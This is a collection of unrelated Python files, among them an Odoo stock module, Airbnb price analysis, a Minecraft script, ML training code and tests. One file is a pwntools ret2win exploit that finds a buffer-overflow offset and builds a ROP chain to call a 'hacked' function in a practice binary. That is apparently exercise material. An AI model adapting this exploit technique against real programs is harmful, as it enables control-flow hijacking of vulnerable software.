        if self.commercial_invoice:
            move_id = self.env['account.move'].search([('id','=',self.commercial_invoice.id)])
            move_line_id = self.env['account.move.line'].search([('move_id','=',move_id.id),('account_internal_type','=','other')])
            for rec in self:
                lines = list()
                for line in move_line_id:
                    vals = {
                        'product_id':line.product_id.id,
                        'branch_id':self.env.user.branch_id.id,
                        'product_uom_qty':line.quantity,
                        'reserved_availability':0,
                        'quantity_done':0,
                        'name':line.name,
                        'product_uom':line.product_id.uom_id.id
                    }
                    lines.append((0,0,vals))
                rec.move_ids_without_package = lines

            print('Hello')

    def button_validate(self):
        self.ensure_one()
        if not self.move_lines and not self.move_line_ids:
            raise UserError(_('Please add some items to move.'))

        # Clean-up the context key at validation to avoid forcing the creation of immediate
        # transfers.
        # for rec in self.move_line_ids_without_package.lot_id:
        #     stock_reserved_check = self.env['stock.quant'].search([('lot_id','=',rec.id),('location_id','=',self.location_id.id)])
        #     if stock_reserved_check.reserved_quantity == 0:
        #         print(rec)

        ctx = dict(self.env.context)
        ctx.pop('default_immediate_transfer', None)
        self = self.with_context(ctx)

        # add user as a follower
        self.message_subscribe([self.env.user.partner_id.id])

        # If no lots when needed, raise error
        picking_type = self.picking_type_id
        precision_digits = self.env['decimal.precision'].precision_get('Product Unit of Measure')
        no_quantities_done = all(float_is_zero(move_line.qty_done, precision_digits=precision_digits) for move_line in self.move_line_ids.filtered(lambda m: m.state not in ('done', 'cancel')))
        no_reserved_quantities = all(float_is_zero(move_line.product_qty, precision_rounding=move_line.product_uom_id.rounding) for move_line in self.move_line_ids)
        if no_reserved_quantities and no_quantities_done:
            raise UserError(_('You cannot validate a transfer if no quantites are reserved nor done. To force the transfer, switch in edit more and encode the done quantities.'))

        if picking_type.use_create_lots or picking_type.use_existing_lots:
            lines_to_check = self.move_line_ids
            if not no_quantities_done:
                lines_to_check = lines_to_check.filtered(
                    lambda line: float_compare(line.qty_done, 0,
                                               precision_rounding=line.product_uom_id.rounding)
                )

            for line in lines_to_check:
                product = line.product_id
                if product and product.tracking != 'none':
                    if not line.lot_name and not line.lot_id:
                        raise UserError(_('You need to supply a Lot/Serial number for product %s.') % product.display_name)

        # Propose to use the sms mechanism the first time a delivery
        # picking is validated. Whatever the user's decision (use it or not),
        # the method button_validate is called again (except if it's cancel),
        # so the checks are made twice in that case, but the flow is not broken
        sms_confirmation = self._check_sms_confirmation_popup()
        if sms_confirmation:
            return sms_confirmation

        if no_quantities_done:
            view = self.env.ref('stock.view_immediate_transfer')
            wiz = self.env['stock.immediate.transfer'].create({'pick_ids': [(4, self.id)]})
            return {
                'name': _('Immediate Transfer?'),
                'type': 'ir.actions.act_window',
                'view_mode': 'form',
                'res_model': 'stock.immediate.transfer',
                'views': [(view.id, 'form')],
                'view_id': view.id,
                'target': 'new',
                'res_id': wiz.id,
                'context': self.env.context,
            }

        if self._get_overprocessed_stock_moves() and not self._context.get('skip_overprocessed_check'):
            view = self.env.ref('stock.view_overprocessed_transfer')
            wiz = self.env['stock.overprocessed.transfer'].create({'picking_id': self.id})
            return {
                'type': 'ir.actions.act_window',
                'view_mode': 'form',
                'res_model': 'stock.overprocessed.transfer',
                'views': [(view.id, 'form')],
                'view_id': view.id,
                'target': 'new',
                'res_id': wiz.id,
                'context': self.env.context,
            }

        # Check backorder should check for other barcodes
        if self._check_backorder():
            return self.action_generate_backorder_wizard()
        self.action_done()
        return

    @api.onchange('is_nonsalealewarehouse_transfar')
    def select_nonsale_ale_stock(self):

        """
        this method is used for transfar page when select lim transfar then it show only lim transfar
        :return:
        """
        self.branch_id = self.env.user.branch_id
        if self.is_nonsalealewarehouse_transfar:
            self.is_nonsalealewarehouse_transfar = True
            print('come to condition is_nonsalealewarehouse_transfar')
            warehouse = self.env['stock.warehouse'].sudo().search([('is_non_saleable_warehouse', '=', True),('company_id', '=',self.env.user.company_id.id)], limit=1)
            print(warehouse.id)
            picking_type = self.env['stock.picking.type'].sudo().search(
                [('warehouse_id', '=', warehouse.id), ('sequence_code', '=', 'INT')])
            print(picking_type)
            print(picking_type.warehouse_id.name)
            self.picking_type_id = picking_type.id

            return {
                'domain': {
                    'picking_type_id': [('warehouse_id', '=', warehouse.id), ('sequence_code', '=', 'INT')]
                },
                # 'default_picking_type_id': [('warehouse_id', '=', warehouse.id), ('sequence_code', '=', 'INT')]
                # lambda self: self.env['stock.picking.type'].browse(self._context.get('default_picking_type_id')).default_location_src_id

            }
        else:
            return {
                'domain': {
                    'picking_type_id': []
                }
            }

    # def _do_partial_func_unreserved(self):
    #     print('_do_partial_unreserved')

    # @api.onchange('fpo_order_id')
    # def fpo_fall_into(self):
    #     print('work')

    is_nonsalealewarehouse_transfar = fields.Boolean(string='Lim transfar ', default=False)
    commercial_invoice = fields.Many2one('account.move',domain=[('type','=','in_invoice')],string="Commercial Invoice")

    def action_assign(self):
        """ Check availability of picking moves.
        This has the effect of changing the state and reserve quants on available moves, and may
        also impact the state of the picking as it is computed based on move's states.
        @return: True
        """
        res = {}
        self.filtered(lambda picking: picking.state == 'draft').action_confirm()
        moves = self.mapped('move_lines').filtered(lambda move: move.state not in ('draft', 'cancel', 'done'))
        if not moves:
            raise UserError(_('Nothing to check the availability for.'))
        # If a package level is done when confirmed its location can be different than where it will be reserved.
        # So we remove the move lines created when confirmed to set quantity done to the new reserved ones.
        package_level_done = self.mapped('package_level_ids').filtered(
            lambda pl: pl.is_done and pl.state == 'confirmed')
        package_level_done.write({'is_done': False})
        is_raise_validation_error = moves._action_assign()

        package_level_done.write({'is_done': True})
        if is_raise_validation_error:
            # message = 'product is no available '
            # raise osv.except_osv(_('warning'), _(message))
            # res['warning'] = {'title': _('Warning'), 'message': message}
            # raise ValueError('product not available')
            raise ValidationError('product is no available ')

        return True

    # fpo_order_id = fields.Many2one('foreign.purchase.order', string= 'Foreign purchase order ')

    # @api.onchange('move_ids_without_package.product_uom_qty')
    #     # def test(self):
    #     #     print('***********************')
    #     #     print('***********************')
    #     #     print('***********************')


from pwn import *

exe = './ret2win_params_64bit'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

def find_IP(payload):
    p = process(exe)
    p.sendlineafter(b':', payload)
    p.wait()

    ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))
    return ip_offset

offset = find_IP(cyclic(200))
io = process(exe)
pop_rdi = 0x40124b
pop_rsi_r15 = 0x401249

payload = flat({
        offset:[
            pop_rdi,
            0xdeadbeefdeadbeef,
            pop_rsi_r15,
            0xc0debabec0debabe,
            0x0,
            elf.functions.hacked
            ]
    })

write('payload', payload)
io.sendlineafter(b':', payload)
io.interactive()


from mcpi.minecraft import Minecraft
# mc = Minecraft.create()
mc=Minecraft.create()

x = 10
y = 11
z = 12
msg='x:{},y:{},z:{}'.format(x,y,z)
mc.postToChat(msg)

pos=mc.player.getPos()
x=pos.x
y=pos.y
z=pos.z

msg='x:{},y:{},z:{}'.format(x,y,z)
mc.postToChat(msg)

workspace_A/workspace_parkjj/Learn to Program with Minecraft Code/chapter2-variables/test6.py


import pandas as pd
from pandas.plotting import scatter_matrix
import seaborn as sns
import numpy as np
import matplotlib.pyplot as plt
import datetime as dt

#set palette
airbnb_pal = ["#F16664","#FFF6E6","#79CCCD","#6BB7B9","#007D8C"]

calendar = pd.read_csv('calendar.csv')

calendar.describe()

#listing_id  minimum_nights  maximum_nights
#count  1.095501e+07    1.095501e+07    1.095501e+07
#mean   1.558958e+07    2.864251e+00    1.735882e+05
#std    9.877383e+06    1.122438e+01    1.825943e+07
#min    2.077000e+03    1.000000e+00    1.000000e+00
#25%    6.597128e+06    1.000000e+00    3.000000e+01
#50%    1.541572e+07    2.000000e+00    1.124000e+03
#75%    2.387418e+07    3.000000e+00    1.125000e+03
#max    3.291271e+07    3.650000e+02    2.147484e+09

print('There are', calendar.date.nunique(), 'days and', calendar.listing_id.nunique(), 'unique listings in the calendar data.')
#There are 366 days and 30013 unique listings in the calendar data.

calendar.date.min(), calendar.date.max()
#('2019-03-08', '2020-03-07')

calendar.available.value_counts()
#t    6980816
#f    3974196
#Name: available, dtype: int64

calendar.columns.values
#array(['listing_id', 'date', 'available', 'price', 'adjusted_price', 'minimum_nights', 'maximum_nights'], dtype=object)

#classify as available or busy
calendar_new = calendar[['date', 'available']]
calendar_new['busy'] = calendar_new.available.map(lambda x: 0 if x == 't' else 1)
calendar_new = calendar_new.groupby('date')['busy'].mean().reset_index()
calendar_new['date'] = pd.to_datetime(calendar_new['date'])
calendar_new

#%busy plot
sns.set_style("darkgrid")
busy_plot = sns.lineplot(x = "date", y = "busy", data = calendar_new, color = "#F16664")
busy_plot.set_title("Airbnb Rome Calendar")
plt.show()

#monthly price changes
calendar['price'] = calendar['price'].str.replace('$', '')
calendar['price'] = calendar['price'].str.replace(',', '')
calendar['price'] = pd.to_numeric(calendar['price'])
calendar['date'] = pd.to_datetime(calendar['date'])
avg_price = calendar.groupby(calendar['date'].dt.strftime('%m'))['price'].mean()

#average monthly price plot
avg_price_plot = sns.barplot(avg_price.index, avg_price.values, color = "#79CCCD")
avg_price_plot.set_title('Monthly Airbnb Prices in Rome', fontsize = 16, weight = 'bold')
avg_price_plot.set_xlabel('Month')
avg_price_plot.set_ylabel('Average Monthly Price')
avg_price_plot.set_xticklabels(['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'])
plt.show()

#daily price changes
calendar['price'] = calendar['price'].str.replace('$', '')
calendar['price'] = calendar['price'].str.replace(',', '')
calendar['price'] = pd.to_numeric(calendar['price'])
calendar['date'] = pd.to_datetime(calendar['date'])
week_price = calendar.groupby(calendar['date'].dt.strftime('%w'))['price'].mean()

#average daily price plot
week_price_plot = sns.lineplot(week_price.index, week_price.values, color = "#007D8C")
week_price_plot.set_title('Daily Airbnb Prices in Rome', fontsize = 16, weight = 'bold')
week_price_plot.set_xlabel('Day of the Week')
week_price_plot.set_ylabel('Average Daily Price')
week_price_plot.set_xticklabels(['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'])
plt.show()


from __future__ import annotations

from securosurf import information
from securosurf_gui import gui_make_sidebar
import securosurf_gui_toolkit.toolkit as tk
from securosurf_gui import gui_make_telemetry_frame
from securosurf_gui import gui_make_welcome_message_frame
from securosurf_gui_toolkit.toolkit import TextAppearance

########################################################################################################################

def FUNC(telemetry_length: int) -> tk.Window:
    layout = [
        [tk.EmptyRectangle(background_color=tk.accent_BG_lighter, area=(3, 3), expand_x=True)],
        [tk.EmptyRectangle(background_color="white", area=(2, 2), expand_x=True)],
        [tk.EmptyRectangle(background_color=tk.accent_BG, area=(8, 8), expand_x=True)],

        [tk.FrameContainer([
            [gui_make_welcome_message_frame.FUNC()],
            [
                gui_make_sidebar.FUNC(),
                tk.Container([
                    [gui_make_telemetry_frame.FUNC(telemetry_length)],
                    [tk.EmptyRectangle()]
                ]),
            ],
        ], expand_x=True, expand_y=True)],

        [tk.EmptyRectangle(background_color=tk.accent_BG, area=(8, 8), expand_x=True)],
        [tk.EmptyRectangle(background_color="white", area=(2, 2), expand_x=True)],
        [tk.EmptyRectangle(background_color=tk.accent_BG_lighter, area=(3, 3), expand_x=True)],

        [tk.FrameContainer([
            [
                tk.Text(
                    text="Tip: If necessary, you can reduce CPU usage by minimizing this window to the taskbar.",
                    appearance=TextAppearance.DISABLED,
                    justification="left", expand_x=True,
                ),
                tk.Text(
                    text=information.VAR.application_full_name,
                    appearance=TextAppearance.DISABLED,
                    justification="right", expand_x=True
                )
            ]
        ], expand_x=True)],
    ]

    return tk.Window(title=information.VAR.application_name, layout=layout, icon=information.VAR.icon_path)


from operator import ge

def print_solution(x):
    """Format input for solution printing"""
    print(f"The solution is: {x}")

def generator(factor, seed):
    val = seed
    while True:
        val = val * factor
        val = val % 2147483647
        yield val

def main():
    factor_a = 16807
    seed_a   = 873

    factor_b = 48271
    seed_b   = 583

    gen_a = generator(factor_a, seed_a)
    gen_b = generator(factor_b, seed_b)

    matches = 0
    for _ in range(40000000):
        x = format(next(gen_a),'b')[-16:]
        y = format(next(gen_b),'b')[-16:]
        if x == y:
            matches += 1

    print_solution(matches)

if __name__ == "__main__":
    main()


#!/usr/bin/env python3
import sys, os, subprocess, difflib, shutil

# Copied from LCS/PyCommon/subprocess_utils
def _convert_bytes_tuple_to_strings(bytes_tuple):
    """Helper function for subprocess.communicate() and/or subprocess.check_output which changed from python2 to python3.
    This function returns the bytes in the bytes_tuple_tuple to utf-8 strings.
    You can use this to get the "normal" python2 subprocess behaviour back for functions like check_output and/or communicate."""
    return tuple('' if x is None
                 else x.decode('UTF-8') if isinstance(x, bytes)
                 else x
                 for x in bytes_tuple)

def communicate_returning_strings(proc, input=None):
    """Helper function for subprocess.communicate() which changed from python2 to python3.
    This function waits for the subprocess to finish and returns the stdout and stderr as utf-8 strings, just like python2 did."""
    return _convert_bytes_tuple_to_strings(proc.communicate(input=input))

# diff should only be something like:
# 3,5c3,5
# <           <version>2.10.3</version>
# <           <template version="2.10.3" author="Alwin de Jong" changedBy="Alwin de Jong">
# <           <description>XML Template generator version 2.10.3</description>
# ---
# >   <version>2.12.0</version>
# >   <template version="2.12.0" author="Alwin de Jong,Adriaan Renting" changedBy="Adriaan Renting">
# >   <description>XML Template generator version 2.12.0</description>
def checkDiff(diff):
    if len(diff) == 8 or len(diff) == 0:
        return True
    return False

def main(verbose_tests=False, regenerate_golden_output=False):
    '''
    :param verbose_tests: print stdout and stderr of the generator when return code non-zero
    :param regenerate_golden_output: overwrite the golden output files with the current generator output
    '''
    os.chdir('test_regression.in_data')
    infiles = os.listdir("txt")
    results = []
    for infile in infiles:
        if infile.startswith("old") or infile.startswith("."):
            continue  # pre 2.6 files that no longer have valid syntax
        name, ext = os.path.splitext(infile)
        outfile = name + ".xml"
        print("\n")
        print("*** Processing %s ***" % infile)
        cmd = ["xmlgen", "-i", "./txt/%s" % infile, "-o", "test.xml"]
        p = subprocess.Popen(cmd, stdin=open('/dev/null'), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        out, err = communicate_returning_strings(p)
        if verbose_tests and p.returncode == 1:
            print(out)
            print(err)
        logs = out.splitlines()  # stdout
        print("xmlgen ran with return code: %s" % p.returncode)
        xmlgen = p.returncode
        if p.returncode:
            for l in logs: print(l)
            results.append((infile, xmlgen, -1, False))
            continue
        else:
            cmd = ["diff", "-w", "-I", r"^[[:space:]]*$", "./xml/%s.xml" % name, "test.xml"]
            ## -w ignores differences in whitespace
            ## -I '^[[:space:]]*$' because -B doesn't work for blank lines (on OSX?)
            p = subprocess.Popen(cmd, stdin=open('/dev/null'), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            logs = communicate_returning_strings(p)
            diffs = logs[0].splitlines()  # stdout
            print("diff reply was %i lines long" % len(diffs))
            check = checkDiff(diffs) and len(logs[1]) == 0
            if not check:
                for l in diffs: print(l)
                print(logs[1])
            results.append((infile, xmlgen, p.returncode, check))

            if regenerate_golden_output:
                testdir = os.environ.get('srcdir', os.path.dirname(os.path.abspath(__file__)))
                outfile = "%s/test_regression.in_data/xml/%s.xml" % (testdir, name)
                print('Overwriting golden XML:', os.path.abspath(outfile))
                shutil.copy('test.xml', outfile)

        os.remove("test.xml")
    print("\nResults:")
    success = True
    for r in results:
        print("%s: xmlgen: %i diff: %i, %s" % r)
        success = success and r[3]
    if success:
        print("success")
        return 0
    else:
        print("failure")
        return 1

if __name__ == "__main__":
    sys.exit(main())


from core.model import CNN_model
from core.load_data import train_data, train_label, test_data, test_label
from core.callbacks import csv_logger, tensorboard
from core.plot import plot_figures
from config import EPOCHS, loss, optimizer, batch_size, save_path

model = CNN_model()
model.build(input_shape=(None , 28, 28, 1))
print(model.model().summary())

model.compile(loss=loss,
                optimizer=optimizer,
                metrics=['accuracy'])

model.fit(train_data, train_label,
        batch_size = batch_size,
        epochs=EPOCHS,
        validation_data=(test_data, test_label),
        callbacks=[csv_logger, tensorboard])

model.save_weights(save_path + 'mymodel')
plot_figures()


import unittest

from enemy import Combat

class CombatTestCase(unittest.TestCase):

    def test_fight(self):
        combat = Combat()

        testString = 'Your health: 120'
        testString += '1) Fight'
        testString += '2) run'
        self.assertEqual(testString, combat.Fight())

if __name__ == '__main__':
    unittest.main()


import tensorflow as tf
from loader import get_image_filepaths, load_png, load_jpeg
from model import build_model
from pathlib import Path

def parse_cli_args():
    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument('image_dir', type=Path, help='directory of images')
    parser.add_argument('output_dir', type=Path, help='where to store output')
    parser.add_argument(
        '--image_dimensions', default=None, nargs=2, type=int,
        help='Resize all images to these dimensions (after augmentation).'
    )
    parser.add_argument(
        '--model', '-m', default='BiT-M-R101x1',
        help='Name of TF Hub model to use.'
    )
    # parser.add_argument(
    #     '--grayscale', default=False, action='store_true',
    #     help='Input images are grayscale.'
    # )
    parser.add_argument(
        '--png', default=False, action='store_true',
        help='Input images are PNGs (otherwise assumes JPEGs).'
    )
    return parser.parse_args()

def subdir_labelled_filepath_to_label(fp):
    return Path(fp).parent.name

def extract_features(args):

    # create output_dir and record args (in both txt and pickle format)
    args.output_dir.mkdir(parents=True)
    with Path(args.output_dir, 'args.txt').open('a+') as f:
        f.write('\n'.join(f'{k}:{v}' for k, v in vars(args).items()))

    # prep data
    file_paths = get_image_filepaths(args.image_dir, args.png)
    labels = [subdir_labelled_filepath_to_label(fp) for fp in file_paths]
    class_names = sorted(list(set(labels)))
    encoder = dict((n, i) for i, n in enumerate(class_names))
    encoded_labels = [encoder[l] for l in labels]
    assert len(file_paths) > 1

    # create label key
    with (args.output_dir / 'label_key.txt').open('w') as f:
        f.write('NAME,LABEL,COUNT\n')
        for name in class_names:
            count = labels.count(name)
            encoding = encoder[name]
            f.write(f'{name},{encoding},{count}\n')

    # build model
    model = build_model(model_name=args.model, n_classes=len(class_names),
                        input_dimensions=args.image_dimensions,
                        headless=True)

    load_image = load_png if args.png else load_jpeg
    with (args.output_dir / 'feature_vectors.csv').open('w+') as fv_out:
        with (args.output_dir / 'labels.csv').open('w+') as lbl_out:
            for i, (fp, l) in enumerate(zip(file_paths, encoded_labels)):
                image = load_image(fp)
                resized_image = tf.image.resize(image, args.image_dimensions)
                features = model(tf.expand_dims(resized_image, 0))
                fv_out.write(','.join(str(x) for x in features.numpy().ravel()) + '\n')
                lbl_out.write(f'{l},{fp}\n')

                if i % 100 == 0:
                    print(f'working on {i}/{len(file_paths)}')

if __name__ == '__main__':
    extract_features(parse_cli_args())